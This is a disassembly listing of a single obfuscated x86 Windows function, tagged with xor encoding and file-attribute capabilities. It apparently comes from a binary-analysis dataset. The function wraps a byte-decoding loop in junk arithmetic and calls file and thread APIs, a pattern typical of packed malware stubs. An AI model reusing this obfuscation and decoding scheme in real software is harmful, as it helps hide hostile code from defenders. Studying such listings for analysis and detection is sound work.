Function at 0x405688
Capabilities:
Encode data using xor
Get file attributes

Disassembly:
sub esp, 0xc
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
push ebx
mov ebx, dword [esp + 0x1c]
push ebp
lea ecx, [edx - 0x2971]
push edi
mov edi, eax
mov dword [esp + 0xc], ecx
lea ebp, [edx - 0x8f4]
xor edi, 0x71e
lea ecx, [eax - 0x2680]
mov dword [esp + 0x14], edi
lea edx, [ebx + 0x288]
mov dword [esp + 0x28], ecx
xor ebx, 0xff6
mov dword [esp + 0x10], edx
lea eax, [ebp + 0xe5]
mov dword [esp + 0x24], ebx
cmp edi, eax
jle 0x405d16
mov eax, ebp
xor eax, 0x11f
push esi
mov esi, dword [esp + 0x24]
cmp edx, eax
je 0x4057a6
lea eax, [ebx - 0x6b9]
cmp edx, eax
je 0x405732
cmp edi, dword [esp + 0x20]
je 0x405718
xor ebp, 0x7fe
sub edx, 0x7d1
mov dword [esp + 0x14], edx
jmp 0x405732
mov eax, edx
or eax, ecx
cmp dword [esi + 0x34], eax
jne 0x405732
mov eax, dword [esi + 0xc0]
and eax, 0x257d
or ecx, eax
mov dword [esp + 0x2c], ecx
mov eax, dword [esp + 0x10]
add eax, 0x22a4
cmp ecx, eax
jg 0x405773
mov edx, dword [0x7a1444]
add ebx, 0x14
mov eax, dword [0x7a1334]
xor edi, 0x3e2a
mov ecx, dword [esp + 0x2c]
add eax, 0xffe78d28
mov dword [esp + 0x28], ebx
add eax, dword [edx]
xor ebp, 0x6cb
mov dword [0x7a1374], eax
mov dword [esp + 0x18], edi
jmp 0x4057ac
mov eax, ebp
imul eax, edi
add eax, 0x229d
cmp edi, eax
jle 0x4057a6
mov eax, ebp
xor eax, edi
cmp edi, eax
jg 0x4057a6
mov eax, dword [esi + 0x6c]
or eax, 0x1ff1
push eax
mov eax, dword [0x7a1384]
sub eax, edi
or eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ecx, dword [esp + 0x2c]
mov edx, dword [0x7a1444]
mov eax, dword [esp + 0x10]
and dword [esp + 0x20], 0
add eax, 0x257d
cmp edi, eax
je 0x405939
mov eax, dword [esp + 0x14]
xor eax, 0x3ed6
cmp edi, eax
jne 0x405b23
add dword [esp + 0x10], 0x1ff1
add ecx, 0x2148
mov edi, dword [esp + 0x20]
sub ebp, 0xf4
xor dword [esp + 0x14], 0x83f
mov dword [edx + 0xe0], 0x408060
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x7a1444]
mov eax, dword [ecx + 0x110]
add eax, dword [0x7a1424]
sub dword [ecx + 0x9c], eax
mov eax, dword [esi + 0xe0]
mov ecx, dword [edi + eax]
add edi, 4
mov eax, dword [0x7a1344]
xor eax, dword [0x7a13b8]
sub eax, 0x1e0d02
xor dword [esi + 0xc], eax
mov eax, dword [esi + 0x84]
add eax, dword [esi]
xor eax, 0x1aeb2c
sub dword [esi + 0x98], eax
mov ebx, dword [0x7a1374]
mov eax, dword [0x7a13a8]
imul ebx, ecx
mov ecx, dword [esi + 0xe8]
mov edx, ebx
shr edx, 0x18
mov byte [eax + ecx], dl
mov ecx, ebx
mov edx, dword [0x7a13a8]
inc edx
shr ecx, 0x10
mov dword [0x7a13a8], edx
mov eax, dword [esi + 0xe8]
mov byte [edx + eax], cl
mov edx, ebx
mov eax, dword [0x7a13a4]
mov ecx, dword [0x7a13c8]
add eax, 0xffee2e3c
sub ecx, dword [0x7a13e4]
inc dword [0x7a13a8]
add eax, ecx
mov dword [0x7a13a4], eax
mov ecx, dword [esi + 0x88]
mov eax, dword [0x7a1408]
shr edx, 8
mov byte [eax + ecx], dl
inc dword [esi + 0x88]
mov ecx, dword [0x7a1444]
mov eax, dword [esi + 0x34]
sub dword [ecx + 0x74], eax
mov eax, dword [0x7a1444]
mov ecx, dword [eax + 0xe8]
mov eax, dword [esi + 0x88]
mov byte [ecx + eax], bl
inc dword [esi + 0x88]
cmp edi, 0x1e354
jl 0x405801
mov ebx, dword [esp + 0x28]
xor dword [esp + 0x10], 0x377e
add ebx, 0xfffff466
mov edi, dword [esp + 0x18]
xor ebx, 0x3cb5
cmp dword [esi + 0x34], 0x14907
mov dword [esp + 0x28], ebx
ja 0x405b04
mov edx, dword [0x7a1444]
mov eax, dword [esi + 0x110]
mov ecx, dword [edx + 0x5c]
add ecx, 0xfff607fa
add eax, ecx
mov dword [0x7a1374], eax
mov ecx, dword [esp + 0x2c]
mov eax, ecx
xor eax, 0x435
cmp ebp, eax
jg 0x405d11
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x14]
add eax, 0x15c
cmp ecx, eax
je 0x405d23
mov eax, dword [esp + 0x10]
add eax, 0xfffff762
cmp ebp, eax
jle 0x405cd0
cmp dword [esp + 0x10], ebp
je 0x405d11
mov edi, dword [esp + 0x20]
mov ebp, edi
mov dword [esi + 0xe0], 0x4fa000
mov edx, dword [esi + 0x5c]
mov ecx, dword [0x7a1444]
lea eax, [edx - 0x9f807]
add dword [ecx + 0xc8], eax
mov eax, dword [0x7a1404]
sub eax, dword [0x7a1398]
mov ecx, dword [0x7a1444]
add eax, 0xeadd2
add dword [ecx + 0x84], eax
mov eax, dword [esi + 0xe0]
mov ecx, dword [0x7a1444]
mov edx, dword [eax + ebp]
add ebp, 4
mov eax, dword [ecx + 0xa8]
add eax, dword [ecx + 0x14]
xor eax, 0x1a76ad
sub dword [ecx + 0x48], eax
mov eax, dword [0x7a1384]
mov ecx, dword [0x7a1420]
add eax, 0x187295
sub ecx, dword [esi]
mov ebx, dword [0x7a1374]
add eax, ecx
mov dword [0x7a1384], eax
mov eax, dword [0x7a1444]
imul ebx, edx
mov ecx, dword [eax + 0xe8]
mov eax, dword [0x7a13a8]
mov edx, ebx
shr edx, 0x18
mov byte [eax + ecx], dl
mov edx, ebx
inc dword [0x7a13a8]
mov eax, dword [0x7a1324]
sub eax, dword [esi + 0x100]
mov ecx, dword [0x7a1444]
xor eax, 6
shr edx, 0x10
add dword [ecx + 0x84], eax
mov eax, dword [0x7a1444]
mov eax, dword [eax + 0x34]
sub eax, dword [0x7a1398]
add eax, 0xeadd2
xor dword [esi + 0x44], eax
mov eax, dword [0x7a1444]
mov ecx, dword [eax + 0xe8]
mov eax, dword [esi + 0x88]
mov byte [ecx + eax], dl
mov edx, ebx
inc dword [esi + 0x88]
mov eax, dword [0x7a1444]
shr edx, 8
mov ecx, dword [eax + 0x88]
mov eax, dword [esi + 0xe8]
mov byte [ecx + eax], dl
mov eax, dword [0x7a1444]
inc dword [eax + 0x88]
mov eax, dword [0x7a1408]
mov ecx, dword [esi + 0x88]
mov byte [eax + ecx], bl
inc dword [esi + 0x88]
mov eax, dword [esi + 0xdc]
mov edx, dword [esi + 0x5c]
sub eax, edx
add eax, 0x9f808
imul eax, dword [esi + 0xbc]
mov dword [esi + 0xbc], eax
cmp ebp, 0xcef4
jl 0x40598f
mov ecx, dword [0x7a1444]
mov ebx, dword [esp + 0x28]
sub ebx, 0x1a
mov eax, dword [ecx + 0x84]
cmp eax, dword [0x7a1410]
jae 0x405b91
mov eax, dword [esi + 0x104]
sub eax, 0x45d1745d
mov dword [0x7a1374], eax
jmp 0x405ba1
mov eax, dword [0x7a1444]
mov ecx, dword [eax + 0xbc]
xor ecx, dword [eax + 0x14]
sub dword [esi + 0xc8], ecx
mov edx, dword [0x7a1444]
jmp 0x405939
mov eax, dword [0x7a1378]
and eax, ecx
cmp dword [esi + 0xc4], eax
jne 0x405939
push 0x17d2
push 0xe2f
push 0x26d3
push 0x699
push 0x387f
call fcn.004048a4
mov dword [0x7a1470], eax
add esp, 0x14
mov eax, dword [esp + 0x14]
or eax, 0x229d
imul eax, eax, 0x2162
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [esi + 0xbc]
mov ecx, dword [esp + 0x2c]
add eax, ecx
or eax, 0x2463
xor dword [esi + 0x2c], eax
mov edx, dword [0x7a1444]
jmp 0x40593d
add dword [ecx + 0xa4], 0x12b78
mov ecx, dword [0x7a1444]
mov eax, dword [esi + 0x84]
cmp eax, dword [esi + 0x48]
ja 0x405bbc
mov dword [ecx + 0xe0], 0x426890
mov ecx, dword [0x7a1444]
mov eax, 0xfff3f6c0
sub eax, dword [ecx + 0x48]
add dword [ecx + 0xac], eax
mov ecx, dword [0x7a1444]
mov eax, dword [esi + 0x78]
xor eax, dword [esi + 0xa4]
sub eax, 0xeadd2
xor dword [ecx + 0x78], eax
mov eax, 0x182fd1
mov edx, dword [0x7a1444]
mov ecx, dword [edx + 0x44]
xor ecx, dword [0x7a13e8]
sub eax, ecx
add dword [0x7a1354], eax
mov eax, dword [edx + 0xdc]
inc eax
imul eax, dword [0x7a1424]
mov dword [0x7a1424], eax
mov eax, dword [0x7a1404]
sub eax, dword [esi + 0xa8]
add eax, 0x1a7669
mov edx, dword [esi + 0x54]
xor dword [esi + 0xa4], eax
mov eax, dword [esi + 0xe0]
mov ecx, dword [edi + eax]
add edi, 4
mov eax, dword [0x7a1444]
imul edx, ecx
mov eax, dword [eax + 0xf0]
sub eax, dword [esi + 0x78]
xor eax, 0x9bc5177e
imul eax, dword [esi + 0xc]
mov dword [esi + 0xc], eax
mov ecx, dword [0x7a1404]
lea eax, [ecx + 1]
imul eax, dword [0x7a137c]
mov dword [0x7a137c], eax
sub dword [esi + 0x10c], ecx
mov ecx, dword [esi + 0x88]
mov eax, dword [0x7a1408]
mov byte [eax + ecx], dl
inc dword [esi + 0x88]
mov ecx, dword [0x7a1444]
mov eax, dword [ecx + 0xa4]
sub dword [0x7a13fc], eax
mov eax, dword [ecx + 0x98]
sub eax, dword [0x7a1404]
sub eax, 0x18dec3
add dword [esi + 0xa8], eax
mov eax, dword [esi + 0x64]
sub eax, 0x662ec
xor dword [esi + 0x9c], eax
cmp edi, 0x45120
jl 0x405bb6
mov dword [esi + 0x108], 0x7a1320
jmp 0x405d15
mov eax, dword [edx + 0xa0]
add ecx, 0x207d
add eax, ecx
imul eax, dword [esi + 0x80]
mov dword [esi + 0x80], eax
mov eax, dword [0x7a1444]
mov eax, dword [eax + 0x110]
add eax, 0xffffe0e5
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov ebx, dword [esp + 0x28]
pop esi
pop edi
pop ebp
lea eax, [ebx + 0x31b]
pop ebx
add esp, 0xc
ret
mov eax, dword [esi + 0x58]
xor eax, dword [0x7a1320]
cmp dword [0x7a1420], eax
ja 0x405d6d
mov eax, dword [edx + 0xb8]
and eax, dword [esi + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov edx, dword [0x7a1444]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
sub eax, dword [edx + 0x44]
add eax, 0x207d
xor edi, eax
mov eax, dword [esi + 0x9c]
xor eax, dword [esp + 0x2c]
or ecx, eax
jmp 0x405d71
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0xe4]
sub eax, 0x257d
xor eax, 0x257d
cmp dword [edx + 0xa8], eax
jne 0x405d11
lea eax, [ebx - 0x1dd7]
cmp edi, eax
jne 0x405d11
mov eax, dword [0x7a1410]
and ebp, ecx
imul eax, edi
add ebp, 0x1ff1
sub eax, 0x288f
xor dword [edx + 0x10c], eax
mov eax, dword [0x7a1444]
add dword [eax + 0x74], ebp
mov eax, dword [0x7a142c]
sub eax, dword [esi + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
imul eax, dword [esi + 0x84], 0x1fb4
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x7a1444]
mov ebx, edi
sub edi, dword [esp + 0x2c]
xor ebx, 0x2971
add dword [eax + 0xc0], edi
jmp 0x405d15